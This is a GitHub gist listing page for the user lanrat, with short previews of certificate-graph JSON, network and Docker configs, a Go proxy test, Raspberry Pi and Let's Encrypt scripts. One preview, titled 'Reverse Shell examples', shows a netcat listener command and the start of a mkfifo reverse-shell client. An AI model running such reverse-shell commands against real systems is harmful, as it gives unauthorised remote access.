Skip to content

Instantly share code, notes, and snippets.

View lanrat's full-sized avatar
😎
👨‍💻

Ian Foster lanrat

😎
👨‍💻
View GitHub Profile
@lanrat
lanrat / eff.json
Created October 26, 2016 19:43
Eff Cert Graph
{
"links": [
{
"source": "staging.eff.org",
"target": "AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F",
"type": "uses"
},
{
"source": "AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F",
"target": "leez-dev-supporters.eff.org",
@lanrat
lanrat / google.json
Created October 26, 2016 00:51
Google Cert Graph
{
"links": [
{
"source": "google.lu",
"target": "6DA3AE8EA020D6B5DA74BD3DE4A60D897A4B1B13E5D2B34553036FB2D0D98AD3",
"type": "uses"
},
{
"source": "6DA3AE8EA020D6B5DA74BD3DE4A60D897A4B1B13E5D2B34553036FB2D0D98AD3",
"target": "google.lu",
@lanrat
lanrat / rshell.md
Last active October 22, 2019 19:26
Reverse Shell examples

netcat (openbsd)

server

nc -knvl $PORT

client

rm -f /tmp/f; mkfifo /tmp/f
@lanrat
lanrat / NetworkManager.conf
Created July 12, 2016 01:19
NetworkManager ignore docker, virtualbox, and vmware adapters
[main]
plugins=ifupdown,keyfile
[ifupdown]
managed=false
[keyfile]
unmanaged-devices=interface-name:docker0;interface-name:vmnet1;interface-name:vmnet8;interface-name:vboxnet0
@lanrat
lanrat / make.sh
Created July 4, 2016 00:47
Headless Hyperion
cmake -DENABLE_DISPMANX=OFF -DENABLE_SPIDEV=OFF -DENABLE_X11=OFF -DENABLE_FB=ON -DENABLE_TINKERFORGE=OFF -DENABLE_V4L2=OFF -EENABLE_QT4=OFF ..
@lanrat
lanrat / Dockerfile
Created May 20, 2016 20:38
realms-wiki Dockerfile
FROM ubuntu:trusty
RUN apt-get update
RUN apt-get install -y software-properties-common python-software-properties python-pip python-dev libxml2-dev libxslt1-dev zlib1g-dev libffi-dev libyaml-dev libssl-dev libsasl2-dev libldap2-dev npm git python-virtualenv && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
RUN ln -s /usr/bin/nodejs /usr/bin/node && \
npm install -g bower
@lanrat
lanrat / ip.go
Last active May 16, 2016 21:46
docker-proxy ipv6
package main
//
// Run with:
// docker run -it --rm -p 8000:8000 -v $(pwd):/data debian /data/ip
//
import (
"fmt"
"net"
"io"
"net/http"
/*
* Wiegand API Raspberry Pi
* By Kyle Mallory
* 12/01/2013
* Based on previous code by Daniel Smith (www.pagemac.com) and Ben Kent (www.pidoorman.com)
* Depends on the wiringPi library by Gordon Henterson: https://projects.drogon.net/raspberry-pi/wiringpi/
*
* The Wiegand interface has two data lines, DATA0 and DATA1. These lines are normall held
* high at 5V. When a 0 is sent, DATA0 drops to 0V for a few us. When a 1 is sent, DATA1 drops
* to 0V for a few us. There are a few ms between the pulses.
@lanrat
lanrat / printcerts.sh
Created April 7, 2016 23:00
Letsencrypt renew scripts for docker
#! /usr/bin/env bash
CERT_DIR=/etc/letsencrypt/live/
for domain in $(ls $CERT_DIR)
do
cert_path="$CERT_DIR/$domain/cert.pem"
domains=$(openssl x509 -in $CERT_DIR/$domain/cert.pem -text | sed -nr '/^ {12}X509v3 Subject Alternative Name/{n;s/^ *//p}' | sed -e 's/DNS://g' | sed -e 's/,//g')
echo "$domains"
done
@lanrat
lanrat / boblight.conf
Created February 20, 2016 21:38
Boblight configuration for lightpack
#################################################################
# boblight.conf
#
# Designed for LightPack with Speedy's boblight daemon
#
# https://code.google.com/p/light-pack/
# https://github.com/timsat/boblight-lightpack/wiki/Configuration
#
#
#################################################################